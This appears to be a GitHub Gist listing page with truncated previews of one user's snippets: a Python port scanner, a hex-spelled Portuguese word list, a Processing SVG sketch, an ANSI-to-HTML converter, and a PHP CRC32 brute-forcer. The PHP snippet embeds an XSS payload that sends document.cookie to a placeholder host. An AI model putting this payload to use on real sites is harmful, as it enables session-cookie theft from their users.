Skip to content

Instantly share code, notes, and snippets.

import json, socket
print('Loading function')
def portScan(ip,ports) :
r = []
for p in ports :
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
socket.setdefaulttimeout(1)
@caioluders
caioluders / dicionario_hex.txt
Last active April 24, 2022 01:46
Todas as palavras em português que podem ser escritas em hexadecimal. Dicionario fonte : https://www.ime.usp.br/~pf/dicios/
abaca7e
abaca7e5
abac1a15
abac1a1
abac0
abac05
abade
abade5
abade55a
abade55a5
import processing.svg.*;
void setup() {
size(1000,1000);
float p = random(0,500);
float n = random(0,500/10);
background(255);
beginRecord(SVG,"shell.svg");
for (var i = 0; i < 500+200; i += 3.5) {
noFill();
<?php
ini_set('memory_limit', '-1');
$hash = '3e09eb42';
$charset = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
$prefix = '<script nonce="3e09eb42">window.location="https://url/b?"+document.cookie</script>';
$charset_length = strlen($charset);
function check_hash($string, $hash) {
return hash('crc32b', $string) === $hash;
}
@caioluders
caioluders / ansii_to_html.py
Created December 8, 2023 21:27
gpt made it not my fault does not works. You're supposed to have css rules for the colors
import sys
import re
def ansi_to_html_custom_tags(text):
# Define the mapping from ANSI codes to custom HTML tags
ansi_to_html_map = {
'\x1b[0m': '<g1>', # Reset to default, removing the closing tag
'\x1b[1;30m': '<g2>', # Gray2
'\x1b[1;47m': '<ww>', # White
'\x1b[37;47m': '<ww>', # White